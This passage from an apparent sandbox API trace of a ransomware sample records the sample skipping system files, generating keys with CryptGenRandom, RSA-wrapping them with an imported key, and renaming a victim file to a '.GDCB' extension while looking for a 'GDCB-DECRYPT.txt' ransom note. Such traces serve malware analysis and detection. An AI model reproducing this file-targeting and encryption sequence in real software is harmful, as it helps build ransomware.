(lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.477] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log") returned 250 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log") returned 250 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log") returned 250 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log") returned 250 [0171.477] lstrcmpiW (lpString1="ngen.log", lpString2="desktop.ini") returned 1 [0171.477] lstrcmpiW (lpString1="ngen.log", lpString2="autorun.inf") returned 1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="ntuser.dat") returned -1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="iconcache.db") returned 1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="bootsect.bak") returned 1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="boot.ini") returned 1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="ntuser.dat.log") returned -1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="thumbs.db") returned -1 [0171.478] lstrcmpiW (lpString1="ngen.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.478] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\ngen.log")) returned 0x20 [0171.478] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log", dwFileAttributes=0x20) returned 1 [0171.481] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.481] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.481] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.481] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.481] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.482] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.482] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.484] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618228) returned 1 [0171.484] CryptGetKeyParam (in: hKey=0x618228, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.484] CryptEncrypt (in: hKey=0x618228, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bf0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2bf0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.484] GetLastError () returned 0x0 [0171.485] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.485] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.486] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617e28) returned 1 [0171.486] CryptGetKeyParam (in: hKey=0x617e28, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.486] CryptEncrypt (in: hKey=0x617e28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2c00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.486] GetLastError () returned 0x0 [0171.487] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.487] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\ngen.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0171.489] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2c10000 [0171.489] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2c20000 [0171.489] ReadFile (in: hFile=0x514, lpBuffer=0x2c20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2c20000*, lpNumberOfBytesRead=0x285d3e8*=0x2f4, lpOverlapped=0x0) returned 1 [0171.495] VirtualAlloc (lpAddress=0x0, dwSize=0x300, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0171.498] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\ngen.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\ngen.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\ngen.log.gdcb")) returned 1 [0171.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.503] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\\\GDCB-DECRYPT.txt") returned 269 [0171.503] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.503] GetLastError () returned 0x3 [0171.503] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log") returned 263 [0171.503] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log") returned 263 [0171.503] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log") returned 263 [0171.503] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log") returned 263 [0171.503] lstrcmpiW (lpString1="mmc.exe.log", lpString2="desktop.ini") returned 1 [0171.503] lstrcmpiW (lpString1="mmc.exe.log", lpString2="autorun.inf") returned 1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="ntuser.dat") returned -1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="iconcache.db") returned 1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="bootsect.bak") returned 1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="boot.ini") returned 1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="ntuser.dat.log") returned -1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="thumbs.db") returned -1 [0171.504] lstrcmpiW (lpString1="mmc.exe.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.504] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log")) returned 0xffffffff [0171.504] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", dwFileAttributes=0xfffffffe) returned 0 [0171.504] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.505] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.505] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.505] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.505] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.505] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.505] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.507] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617ce8) returned 1 [0171.507] CryptGetKeyParam (in: hKey=0x617ce8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.507] CryptEncrypt (in: hKey=0x617ce8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bf0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2bf0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.508] GetLastError () returned 0x0 [0171.508] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.508] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.509] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617d28) returned 1 [0171.510] CryptGetKeyParam (in: hKey=0x617d28, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.510] CryptEncrypt (in: hKey=0x617d28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c00000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2c00000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.510] GetLastError () returned 0x0 [0171.510] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.510] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log") returned 268 [0171.510] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log") returned 268 [0171.510] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log") returned 268 [0171.510] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log") returned 268 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="desktop.ini") returned 1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="autorun.inf") returned 1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="ntuser.dat") returned -1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="iconcache.db") returned 1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="bootsect.bak") returned 1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="boot.ini") returned 1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="ntuser.dat.log") returned -1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="thumbs.db") returned -1 [0171.510] lstrcmpiW (lpString1="NGenTask.exe.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.510] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log")) returned 0xffffffff [0171.510] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", dwFileAttributes=0xfffffffe) returned 0 [0171.510] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.511] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.511] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.511] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.512] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.512] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.515] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617f28) returned 1 [0171.515] CryptGetKeyParam (in: hKey=0x617f28, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.515] CryptEncrypt (in: hKey=0x617f28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c10000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c10000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.515] GetLastError () returned 0x0 [0171.515] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.515] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.517] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617ba8) returned 1 [0171.517] CryptGetKeyParam (in: hKey=0x617ba8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.518] CryptEncrypt (in: hKey=0x617ba8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c20000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2c20000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.518] GetLastError () returned 0x0 [0171.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.518] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.518] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log") returned 270 [0171.518] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log") returned 270 [0171.518] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log") returned 270 [0171.518] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log") returned 270 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="desktop.ini") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="autorun.inf") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="ntuser.dat") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="iconcache.db") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="bootsect.bak") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="boot.ini") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="ntuser.dat.log") returned 1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="thumbs.db") returned -1 [0171.518] lstrcmpiW (lpString1="powershell.exe.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.518] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log")) returned 0xffffffff [0171.518] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", dwFileAttributes=0xfffffffe) returned 0 [0171.518] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.519] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.519] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.519] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.520] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.520] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.520] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) 